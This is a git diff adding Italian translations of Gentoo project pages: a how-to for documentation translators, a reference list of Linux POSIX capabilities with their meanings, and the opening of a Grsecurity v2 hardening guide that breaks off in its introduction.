index 00000000..0893d5dc
--- /dev/null
+++ b/xml/htdocs/proj/it/gdp/doc/translators-howto.xml
@@ -0,0 +1,419 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/it/gdp/doc/translators-howto.xml" lang="it">
+<title>Guida alla traduzione della documentazione di Gentoo</title>
+<author title="Autore">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traduzione">
+    <mail link="posta@massimo.biz">Massimo Canali</mail>
+</author>
+
+<abstract>
+Viene spesso chiesto cosa si deve fare per diventare un traduttore e cosa deve
+fare un traduttore. Questo documento cerca di spiegarlo.
+</abstract>
+
+<license/>
+
+<version>0.16</version>
+<date>2005-06-01</date>
+
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Cosa spiega esattamente questo documento?</title>
+<body>
+
+<p>
+Accade spesso che qualcuno sia interessato ad entrare in un team di
+traduzione e a contribuire al lavoro di traduzione. Tuttavia pochi sanno cosa
+deve fare un traduttore, cosa deve sapere e come vengono gestite le
+traduzioni. Questo documento dovrebbe rispondere a queste e ad altre domande
+ma se qualcosa dovesse restare poco chiaro, non esitare a contattare <mail
+link="neysx@gentoo.org">Xavier Neys</mail> oppure <mail
+link="swift@gentoo.org">Sven Vermeulen</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Lo stato attuale</title>
+<section>
+<title>Struttura</title>
+<body>
+
+<p>
+L'<uri link="/proj/en/gdp/international.xml">Internationalisation
+Project</uri>, a cui fanno capo tutti i lavori di traduzione, fa parte del
+<uri link="/proj/en/gdp/">Gentoo Documentation Project</uri>. <mail
+link="neysx"/> si occupa del coordinamento di questo sottoprogetto e di tutti i
+team di traduttori.
+</p>
+
+<p>
+Ogni team di traduttori è coordinato da un <e>Lead Translator</e>. Questa
+persona è responsabile di tutte le traduzioni prodotte dal suo team. In
+questa pagina, <uri link="/proj/en/gdp/international.xml">
+Internationalisation Project Page</uri>, puoi trovare il <e>Lead
+Translator</e> per la tua lingua.
+</p>
+
+<p>
+Nel caso in cui il <e>Lead Translator</e> non sia disponibile (vacanze, esami,
+problemi di connessione alla rete, ...) il riferimento sarà il <e>Translator
+Follow-Up</e>. <e>Lead Translator</e> e <e>Follow-Up Lead Translator</e> sono
+entrambi Sviluppatori Gentoo.
+</p>
+
+</body>
+</section>
+<section id="trans_situation">
+<title>Lead Translator e Translator Follow-Up</title>
+<body>
+
+<p>
+Il <e>Lead Translator</e> coordina il team, il suo successore è <e>Translator
+Follow-Up</e>. Entrambi devono avere familiarità con questi documenti:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="/proj/it/devrel/handbook/handbook.xml?part=3&amp;chap=1">Gentoo
+    Ebuild Policy</uri>: Anche se questo documento si rivolge prettamente a
+    chi scrive gli Ebuild, il <e>Lead Translator</e> e il <e>Translator
+    Follow-Up</e> devono conoscerlo a fondo. Nel ruolo di Sviluppatori Gentoo
+    devono essere in grado di rispondere a domande su argomenti contenuti in
+    questo documento (QA - Quality Assurance e masked packages, ad esempio)
+  </li>
+  <li>
+    <uri link="/proj/it/gdp/doc/doc-policy.xml">Gentoo Documentation
+    Policy</uri>: ogni sviluppatore di documentazione di Gentoo, inclusi il
+    <e>Lead Translator</e> e il <e>Translator Follow-Up</e>, deve conoscere a
+    memoria il suo contenuto. In pratica si tratta di un elenco di linee guida
+    che riguardano lo sviluppo della documentazione. Il mancato rispetto di
+    queste linee guida può portare a dei provvedimenti.
+  </li>
+  <li>
+    <uri link="/doc/it/xml-guide.xml">Gentoo Linux XML Guide</uri>: tutta la
+    documentazione riguardante Gentoo è scritta in GuideXML, un formato facile
+    da apprendere e da usare che ci permette di convertire agevolmente la
+    documentazione in qualsiasi formato mediante XSLT. Questo documento spiega
+    come è strutturato GuideXML <e>e</e> gli stili usati nel Gentoo
+    Documentation Project,
+  </li>
+</ul>
+
+<p>
+Il <e>Lead Translator</e> ha i diritti di accesso e di aggiornamento del CVS
+di Gentoo. Al <e>Lead Translator</e> e al suo <e>Follow-Up</e> è
+consentito l'aggiornamento delle traduzioni sul nostro sito web. È
+responsabile per le traduzioni che si trovano sul sito e per la loro
+accuratezza. La revisione non corretta delle traduzioni (con il risultato di
+istruzioni sbagliate nelle guide tradotte, non conformi con l'originale
+Inglese) è un grave errore.
+</p>
+
+</body>
+</section>
+<section>
+<title>I Team di Traduttori</title>
+<body>
+
+<p>
+Ogni team è libero di organizzare il proprio lavoro di traduzione. Se un team
+ha bisogno di una mailing list di riferimento, può contattare <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> per configurarne una
+(tipicamente nella forma gentoo-doc-${LANG}@gentoo.org).
+</p>
+
+<p>
+Diversamente dal <e>Lead Translator</e> e dal <e>Translator Follow-Up</e>, i
+membri del team non hanno accesso al CVS e neppure lo stato di Sviluppatore
+Gentoo. Non devono sottostare alle linee guida per gli Sviluppatori Gentoo di
+cui abbiamo parlato prima. Sta al <e>Lead Translator</e> fornire ai membri
+del team le informazioni necessarie. Tuttavia alcuni <uri
+link="/proj/it/gdp/doc/doc-tipsntricks.xml">trucchi e suggerimenti</uri>
+possono aiutare il lavoro di traduzione.
+</p>
+
+<p>
+I traduttori probabilmente vorranno sottoscrivere la <mail
+link="gentoo-doc-cvs@gentoo.org">CVS mailing list</mail>. Qualora uno
+Sviluppatore Gentoo rilasciasse una nuova versione di un determinato documento,
+verrà inviato un messaggio alla lista. Dai un'occhiata a
+<uri link="/main/it/lists.xml">questa pagina</uri> per sapere come iscriverti
+alle nostre mailing list.
+</p>
+
+<p>
+I team di traduzione possono scegliere di usare il file <uri
+link="/proj/it/gdp/doc/metadoc-guide.xml">metadoc.xml</uri>. Questo file
+permette anche ai membri del team di apparire sul sito web quando le funzioni
+della pagina di riepilogo saranno attive.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Requisiti</title>
+<section id="trans_req">
+<title>Accuratezza della traduzione</title>
+<body>
+
+<p>
+Le traduzioni disponibili sul sito web di Gentoo dovranno essere accurate il
+più possibile. Le istruzioni per l'installazione (la <uri
+link="/doc/it/handbook/handbook-x86.xml?part=1">Parte I</uri> del <uri
+link="/doc/it/handbook/index.xml">Manuale Gentoo</uri>) sono la parte più
+importante e hanno la priorità assoluta sugli altri documenti. Devono essere
+aggiornati <e>non più di tre giorni</e> dopo il rilascio della versione
+Inglese nel caso di aggiornamenti <e>importanti</e> (che saranno annunciati
+sulla mailing list <mail
+link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> dall'<e>Operational
+Manager</e> con "Important" nell'oggetto del messaggio).  Gli aggiornamenti
+meno importanti non saranno annunciati; in questo caso il tempo utile per
+l'aggiornamento sarà di <e>due settimane</e>.
+</p>
+
+<p>
+I manuali operativi (elencati più avanti) hanno il grado successivo di
+priorità.  Le loro traduzioni devono essere prodotte entro <e>due
+settimane</e> dal rilascio della versione in Inglese, nel caso di
+aggiornamenti <e>importanti</e> (che saranno annunciati sulla mailing list
+<mail link="gentoo-doc@gentoo.org"> gentoo-doc@gentoo.org</mail>
+dall'<e>Operational Manager</e> con "Important" nell'oggetto del messaggio).
+Gli aggiornamenti meno importanti non saranno annunciati; in questo caso il
+tempo utile per l'aggiornamento sarà di <e>tre settimane</e>.
+</p>
+
+<p>
+I manuali operativi sono:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/it/altinstall.xml">Gentoo Linux: metodi di installazione
+    alternativi HOWTO</uri>
+  </li>
+  <li>
+    La <uri link="/doc/it/handbook/handbook-x86.xml?part=2">Parte II</uri> del
+    <uri link="/doc/it/handbook/index.xml">Manuale Gentoo</uri>
+  </li>
+  <li>
+    La <uri link="/doc/it/security/">Manuale sulla sicurezza per Gentoo</uri>
+  </li>
+  <li>
+    La <uri link="/doc/it/alsa-guide.xml">ALSA Configuration Guide</uri>
+  </li>
+</ul>
+
+<p>
+Tutta l'altra documentazione deve essere aggiornata entro <e>due mesi</e>.
+</p>
+
+<p>
+Se questi requisiti non dovessero essere rispettati, i loro <e>link</e> sul
+sito web devono essere disattivati fino al loro aggiornamento. Se una intera
+lingua non dovesse essere aggiornata (la maggior parte dei documenti non sarà
+linkata alla pagina principale) l'<e>Operational Manager</e> diventerà il
+responsabile per quella lingua.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documenti che non richiedono traduzione</title>
+<body>
+
+<p>
+I seguenti documenti non richiedono traduzione. Sono destinati agli
+Sviluppatori di Gentoo che devono comprendere la lingua Inglese:
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/it/devrel/handbook/handbook.xml">Gentoo Development
+Handbook</uri>
+  </li>
+  <li>
+    <uri link="/proj/it/gdp/doc/doc-policy.xml">Gentoo Linux Documentation
+Policy</uri>
+  </li>
+  <li>
+    Tutta la documentazione contenuta in:
+    <path>[gentoo]/xml/htdocs/proj/</path>.
+  </li>
+</ul>
+
+<p>
+Ad ogni modo i team che hanno sufficienti risorse e pensano che alla loro
+comunità possano essere utili le traduzioni delle pagine della gerarchia
+'project', sono incoraggiati a tradurle e a <e>mantenerle</e>. Prima di
+procedere con queste traduzioni contattate i vostri capi progetto e gli
+altri membri del team per essere sicuri che la documentazione sia
+effettivamente aggiornata o che non sia in una fase di pesanti aggiornamenti.
+</p>
+
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Collaborare</title>
+<section>
+<title>Contattare il Lead Translator</title>
+<body>
+
+<p>
+Chi desidera collaborare, dovrebbe contattare il <e>Lead Translator</e> secondo
+quanto indicato nella pagina <uri
+link="/proj/en/gdp/international.xml">Internationalisation Project Page</uri>
+per chiedere come aiutare. Il <e>Lead Translator</e> informerà il potenziale
+traduttore su come vengono organizzate le traduzioni.
+</p>
+
+<p>
+Nel caso in cui un collaboratore pensi che il <e>Lead Translator</e> non stia
+lavorando bene, può sempre contattare <mail link="neysx@gentoo.org">Xavier
+Neys</mail> oppure <mail link="swift@gentoo.org">Sven Vermeulen</mail> per
+esprimere i propri dubbi.
+</p>
+
+</body>
+</section>
+
+<!--
+<section>
+<title>Assigning Copyright to Gentoo</title>
+<body>
+
+<section>
+<title>Assegnare il Copyright a Gentoo</title>
+<body>
+
+<p>
+All documentation, including translations, must be released under the <uri
+link="http://creativecommons.org/licenses/by-sa/1.0">Creative Commons -
+Attribution / Share Alike</uri> license. Second, to be able to protect the
+documentation from infringement, Gentoo requires all contributors and developers
+to assign their copyright to Gentoo. This Copyright Assignation clearly states
+that the copyright is Gentoo's, but that Gentoo can not change the license on
+the documentation (otherwise the Copyright Assignment is no longer valid).
+</p>
+
+<p>
+Tutta la documentazione, incluse le traduzioni, deve essere rilasciata sotto
+la licenza <uri link="http://creativecommons.org/licenses/by-sa/2.0">Creative
+Commons - Attribution / Share Alike</uri>. In secondo luogo, per proteggere
+efficacemente la documentazione da eventuali violazioni, Gentoo richiede
+che tutti i collaboratori e gli sviluppatori gli assegnino il proprio
+copyright. L'Assegnamento del Copyright asserisce chiaramente che il
+copyright appartiene a Gentoo ma che Gentoo non può cambiare la licenza
+che regola la documentazione (altrimenti l'Assegnamento del Copyright
+verrà invalidato.
+</p>
+
+</body>
+</section>
+-->
+</chapter>
+
+<chapter>
+<title>Richiedere lo status di 'Lead Translator' / 'Translator
+Follow-Up'</title>
+<section>
+<title>Requisiti fondamentali</title>
+<body>
+
+<p>
+Tutti i requisiti indicati in <uri link="#trans_situation">Lead Translator and
+Translator Follow-Up</uri> devono essere soddisfatti. Inoltre il candidato
+(eventualmente con l'aiuto del team di traduttori) deve sottoporre al <uri
+link="http://bugs.gentoo.org">Gentoo's Bugtracking System</uri> un numero
+significativo di documenti tradotti. Questo garantisce che:
+</p>
+
+<ul>
+  <li>
+    Sia disponibile una buona base di documenti tradotti in una determinata
+    lingua
+  </li>
+  <li>
+    Il team si renda conto quale impegno è necessario per tradurre
+  </li>
+  <li>
+    Il team prenda confidenza con GuideXML e con le Regole di Stile
+  </li>
+</ul>
+
+<p>
+Prima che la localizzazione in una determinata lingua possa essere inclusa nel
+<uri link="/">sito web di Gentoo</uri> è necessario tradurre i seguenti
+documenti:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/it/handbook/">Parte I</uri> del Manuale Gentoo (per tutte
+    le architetture)
+  </li>
+  <li>
+    Almeno uno dei documenti elencati nella sezione <uri
+    link="#trans_req">Accuratezza della traduzione</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Richiedere lo Status di Sviluppatore</title>
+<body>
+
+<p>
+Se i requisiti fondamentali sono soddisfatti, il candidato a <e>Lead
+Translator</e> o il candidato a <e>Translator Follow-Up</e> deve fornire a
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> e, in Cc, a <mail
+link="neysx@gentoo.org">Xavier Neys</mail> le seguenti informazioni:
+</p>
+
+<ul>
+  <li>Nome completo</li>
+  <li>Nickname, registrato su irc.freenode.net</li>
+  <li>Indirizzo di posta elettronica</li>
+  <li>Informazioni relative a GPG (Key-ID)</li>
+  <li>Lingua parlata</li>
+  <li>
+    Status richiesto (<e>Lead Translator</e> o <e>Translator Follow-Up</e>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Acquisizione dello Status di Sviluppatore</title>
+<body>
+
+<p>
+Se i requisiti fondamentali sono soddisfatti e se tutte le informazioni
+richieste sono state fornite, il candidato verrà contattato da <mail
+link="avenj@gentoo.org">Jon Portnoy</mail> oppure da <mail
+link="seemant@gentoo.org">Seemant Kulleen</mail> per la propria <uri
+link="/proj/it/infrastructure/cvs-sshkeys.xml#doc_chap1_sect1">chiave
+SSH</uri>. La chiave privata deve essere mantenuta <b>privata</b>!
+</p>
+
+<p>
+Quando il tuo account sarà stato attivato, ti verrà assegnato un
+<e>mentore</e> (solitamente un <e>Lead Translator</e> già esperto) che ti
+indicherà come gestire la documentazione e le traduzioni.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/capabilities.xml b/xml/htdocs/proj/it/hardened/capabilities.xml
new file mode 100644
index 00000000..a5eda3a1
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/capabilities.xml
@@ -0,0 +1,534 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/capabilities.xml,v 1.2 2007/11/11 22:13:51 scen Exp $ -->
+
+<guide link="/proj/it/hardened/capabilities.xml" lang="it">
+<title>Capacità POSIX</title>
+
+<author title="Autore">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributi">
+  <mail link="tocharian@gentoo.org">Adam Mondl</mail>
+</author>
+<author title="Traduzione">
+  <mail link="info@francotampieri.com">Franco Tampieri</mail>
+</author>
+
+<abstract>
+Le capacità POSIX sono permessi appartenenti a determinati sottoinsiemi, membri
+di una partizione dell'insieme dei permessi di root.
+</abstract>
+
+<version>1.2</version>
+<date>2005-01-22</date>
+
+<chapter>
+<title>CAP_CHOWN</title>
+<section>
+<body>
+
+<pre caption="CAP_CHOWN">
+  <i>CAP_CHOWN</i>
+  L'opzione [_POSIX_CHOWN_RESTRICTED], se selezionata, permette di ignorare le
+  restrizioni sul cambiamento di utente proprietario e sul cambiamento di gruppo
+  per un file.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_OVERRIDE</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_OVERRIDE">
+  <i>CAP_DAC_OVERRIDE</i>
+	Permette di ignorare tutte le restrizioni sugli accessi DAC, inclusi gli
+	accessi in esecuzione ACL, se il parametro [_POSIX_ACL] è definito.
+	L'esclusione degli accessi DAC è attivata da CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_DAC_READ_SEARCH</title>
+<section>
+<body>
+
+<pre caption="CAP_DAC_READ_SEARCH">
+  <i>CAP_DAC_READ_SEARCH</i>
+	Permette di ignorare tutte le restrizioni DAC, sia in lettura che in operazioni
+	di ricerca su file e directory, incluse le restrizioni ACL, se [_POSIX_ACL]
+	è definita. L'esclusione degli accessi DAC è attivata da CAP_LINUX_IMMUTABLE.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FOWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_FOWNER">
+  <i>CAP_FOWNER</i>
+	Permette di ignorare tutte le restrizioni sulle operazioni permesse sui file,
+	dove l'ID del proprietario dei file è uguale allo user ID, escluse quelle
+	situazioni dove CAP_FSETID è applicabile. Non permette di ignorare le restrizioni
+	MAC e DAC.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FSETID</title>
+<section>
+<body>
+
+<pre caption="CAP_FSETID">
+  <i>CAP_FSETID</i>
+	Permette di ignorare le seguenti restrizioni, vale a dire che lo user ID sia
+	uguale all'ID del proprietario di un dato file, quando si impostano i bit di
+	S_ISUID e S_ISGID; che l'ID di gruppo (o uno degli ID di gruppo supplementari)
+	sia uguale all'ID del possessore quando si imposta il bit S_ISGID; che i bit
+	S_ISUID e S_ISGID siano azzerati quando il comando chown(2) ha successo (non
+	implementata).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_FS_MASK</title>
+<section>
+<body>
+
+<pre caption="CAP_FS_MASK">
+  <i>CAP_FS_MASK</i>
+	E' usato per decidere quale comando attivare tra il vecchio suser() e fsuser().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_KILL</title>
+<section>
+<body>
+
+<pre caption="CAP_KILL">
+  <i>CAP_KILL</i>
+	Permette di ignorare la restrizione che lo user ID reale o attuale di un
+	processo, inviante un segnale, debba essere uguale allo user ID reale o
+	attuale del processo che riceve il segnale.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETGID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETGID">
+  <i>CAP_SETGID</i>
+	Permette al comando setgid(2) le relative operazioni;
+	Permette l'esecuzione del comando setgroups(2);
+	Permette ai gid (Group IDentifiers) di processi trasmessi su socket il
+	passaggio delle credenziali.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETUID</title>
+<section>
+<body>
+
+<pre caption="CAP_SETUID">
+  <i>CAP_SETUID</i>
+	Permette le operazioni al comando set*uid(2) (compreso fsuid);
+	Permette le operazioni ai pid (Process IDentifiers) dei processi trasmessi
+	da socket il passaggio delle credenziali.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SETPCAP</title>
+<section>
+<body>
+
+<pre caption="CAP_SETPCAP">
+  <i>CAP_SETPCAP</i>
+	Trasferisce o rimuove ogni capacità di un dato sottoinsieme di permessi a ogni
+	pid.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LINUX_IMMUTABLE</title>
+<section>
+<body>
+
+<pre caption="CAP_LINUX_IMMUTABLE">
+  <i>CAP_LINUX_IMMUTABLE</i>
+	Permette la modifica degli attributi di file S_IMMUTABLE e S_APPEND.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BIND_SERVICE</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BIND_SERVICE">
+  <i>CAP_NET_BIND_SERVICE</i>
+	Permette il binding di socket TCP/UDP sotto l'ID 1024;
+	Permette il binding a VCIs ATM sotto l'ID 32.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_BROADCAST</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_BROADCAST">
+  <i>CAP_NET_BROADCAST</i>
+	Permette il broadcasting, e l'ascolto al multicast.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_ADMIN">
+  <i>CAP_NET_ADMIN</i>
+	Permette la configurazione delle interfacce;
+	Permette l'amministrazione degli IP su firewall, mediante mascheramento e accounting;
+	Permette di impostare l'opzione di debug sui socket;
+	Permette la modifica delle routing tables;
+	Permette di impostare diritti di gruppo arbitrari processo / processo sulle socket;
+	Permette il binding ad ogni indirizzo per il proxing trasparente;
+	Permette l'impostazione del TOS (type of service);
+	Permette l'impostazione del modo promiscuo;
+	Permette l'azzeramento della statistica di driver;
+	Permette il multicasting;
+	Permette la lettura/scrittura dei registri specifici di dispositivo;
+	Permette l'attivazione delle socket di controllo ATM.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_NET_RAW</title>
+<section>
+<body>
+
+<pre caption="CAP_NET_RAW">
+  <i>CAP_NET_RAW</i>
+	Permette l'uso di socket RAW;
+	Permette l'uso di socket PACKET.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_LOCK</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_LOCK">
+  <i>CAP_IPC_LOCK</i>
+	Permette il lock di segmenti di memoria condivisa;
+	Permette mlock e mlockall (che in realtà non ha niente a che fare con l'IPC).
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_IPC_OWNER</title>
+<section>
+<body>
+
+<pre caption="CAP_IPC_OWNER">
+  <i>CAP_IPC_OWNER</i>
+	Permette di saltare i controlli di appartenenza sull'IPC.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_MODULE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_MODULE">
+  <i>CAP_SYS_MODULE</i>
+	Inserisce e rimuove moduli di kernel, modificando il kernel stesso senza limiti;
+	modifica il cap_bset.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RAWIO</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RAWIO">
+  <i>CAP_SYS_RAWIO</i>
+	Permette l'accesso ioperm/iopl;
+	Permette l'invio di messaggi USB ad ogni dispositivo via /proc/bus/usb.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_CHROOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_CHROOT">
+  <i>CAP_SYS_CHROOT</i>
+	Permette l'uso di chroot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_PTRACE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PTRACE">
+  <i>CAP_SYS_PTRACE</i>
+	Permette il ptrace() di ogni processo.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+
+<chapter>
+<title>CAP_SYS_PACCT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_PACCT">
+  <i>CAP_SYS_PACCT</i>
+	Permette la configurazione dell'accounting di processo.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_ADMIN</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_ADMIN">
+  <i>CAP_SYS_ADMIN</i>
+	Permette la configurazione della secure attention key;
+	Permette l'amministrazione del dispositivo random;
+	Permette l'esame e la configurazione delle quote di disco;
+	Permette la configurazione dei syslog del kernel (vale a dire il comportamento
+	del printk);
+	Permette di impostare il domainname;
+	Permette di impostare l'hostname;
+	Permette la chiamata della funzione bdflush();
+	Permette la mount() a la umount(), impostando una nuova connessione smb;
+	Permette l'esecuzione delle ioctl di autofs in root;
+	Permette l'nfsservctl; permette VM86_REQUEST_IRQ;
+	Permette la configurazione di pci per lettura/scrittura su alpha; permette
+	la irix_prctl su mips (setstacksize);
+	Permette il flush di tutta la memoria cache sull'm68k (sys_cacheflush);
+	Permette la rimozione dei semafori; è usata al posto di CAP_CHOWN in quanto
+	effettua il "chown" delle code di messaggi IPC, dei messaggi e della memoria condivisa;
+	Permette il lock/unlock del segmento di memoria condivisa;
+	Permette di abilitare/disabilitare lo swap;
+	Permette il passaggio delle credenziali dei pid trasmessi su socket;
+	Permette l'impostazione del readahead e il flush dei buffer sui dispositivi block;
+	Permette di scegliere la geometria del floppy driver;
+	Permette di abilitare/ disabilitare il DMA sui driver xd;
+	Permette di amministrare i dispositivi md (principalmente quelli elencati
+	qui sopra, ma anche qualche extra ioctls);
+	Permette la regolazione del driver ide;
+	Permette l'accesso alla periferica nvram;
+	Permette di amministrare l'apm_bios, e i dispositivi serial e bttv (TV);
+	Permette l'esecuzione di comandi specifici del costruttore per il driver
+	di supporto isdn CAPI;
+	Permette la lettura di porzioni non standardizzate dello spazio	di configurazione pci;
+	Permette il debug DDI ioctl sui driver sbpcd;
+	Permette la configurazione delle porte seriali;
+	Permette l'invio di comandi qic117 raw;
+	Permette di abilitare/disabilitare il tagged queuing sui controller SCSI
+	e l'invio di comandi SCSI arbitrari;
+	Permette la configurazioen della chiave di criptazione sui filesystem loopback.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_BOOT</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_BOOT">
+  <i>CAP_SYS_BOOT</i>
+	Permette l'uso di reboot().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_NICE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_NICE">
+  <i>CAP_SYS_NICE</i>
+	Permette l'incremento di priorità su altri (con diverso UID);
+	Permette l'uso dello scheduling FIFO e roundrobin (realtime) su processi propri
+	e l'impostazione dell'algoritmo di scheduling usato da un altro processo.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_RESOURCE</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_RESOURCE">
+  <i>CAP_SYS_RESOURCE</i>
+	Permette di ignorare i limiti di una risorsa. Fissa i limiti di una risorsa;
+	Permette di ignorare i limiti di quota;
+	Permette di ignorare lo spazio riservato sui filesystem di tipo ext2;
+	Modifica il modo data journaling sui filesystem di tipo ext3;
+	(usa le risorse di journaling); NOTA: ext2 rispetta il comando fsuid quando
+	si controlla l'override delle risorse, così si può eseguire l'override anche
+	usando fsuid;
+	Permette di ignorare le restrizioni di formato sulle code di messaggi IPC;
+	Permette interrupt a più di 64hz dal clock realtime;
+	Permette di ignorare il massimo numero di console durante la loro l'allocazione;
+	Permette di ignorare il massimo numero di keymaps.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TIME</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TIME">
+  <i>CAP_SYS_TIME</i>
+	Permette il controllo del clock di sistema;
+	Permette irix_stime su mips;
+	Permette il set up del clock realtime.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_SYS_TTY_CONFIG</title>
+<section>
+<body>
+
+<pre caption="CAP_SYS_TTY_CONFIG">
+  <i>CAP_SYS_TTY_CONFIG</i>
+	Permette la configurazione dei dispositivi tty; permette vhangup()
+	sui dispositivi tty.
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_MKNOD</title>
+<section>
+<body>
+
+<pre caption="CAP_MKNOD">
+  <i>CAP_MKNOD</i>
+	Permette gli aspetti con diritti maggiorati di mknod().
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CAP_LEASE</title>
+<section>
+<body>
+
+<pre caption="CAP_LEASE">
+  <i>CAP_LEASE</i>
+	Permette il leasing di file.
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/hardened/grsecurity.xml b/xml/htdocs/proj/it/hardened/grsecurity.xml
new file mode 100644
index 00000000..5372d653
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/grsecurity.xml
@@ -0,0 +1,936 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/grsecurity.xml,v 1.4 2010/02/21 17:19:26 scen Exp $ -->
+
+<guide link="/proj/it/hardened/grsecurity.xml" lang="it">
+<title>Guida Gentoo a Grsecurity v2</title>
+
+<author title="Autore">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Autore">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traduzione">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+<abstract>
+Questo documento illustra le caratteristiche delle patch di sicurezza
+gresecurity 2.x, supportate dalle opzioni di configurazione del kernel e dagli
+strumenti forniti dal progetto grsecurity per innalzare la sicurezza del proprio
+sistema ad elevati standard.
+</abstract>
+
+<version>1</version>
+<date>2010-01-05</date>
+
+<chapter>
+<title>A proposito di Grsecurity</title>
+<section>
+<title>Il progetto Grsecurity</title>
+<body>
+
+<p>
+Il progetto grsecurity, ospitato su <uri>http://www.grsecurity.org</uri>,
+fornisce diverse patch al kernel di Linux che consentono di aumentare la
+sicurezza generale del proprio sistema. Le varie caratteristiche offerte da
+grsecurity sono discusse nel prossimo capitolo. Una lista esauriente è mantenuta
+nella stessa <uri link="http://www.grsecurity.org/features.php">pagina delle
+caratteristiche di grsecurity</uri>.
+</p>
+
+<p>
+Visto che le caratteristiche di grsecurity sono essenzialmente basate sul
+kernel, la maggior parte di questo documento spiega le varie caratteristiche
+del kernel e le relative chiamate di sistema (se ciò è possibile).
+</p>
+
+</body>
+</section>
+<section>
+<title>Integrazione Gentoo Hardened</title>
+<body>
+
+<p>
+Il <uri link="http://hardened.gentoo.org">Progetto Gentoo Hardened</uri>
+sostiene le caratteristiche di aumento della sicurezza per Gentoo, includendo,
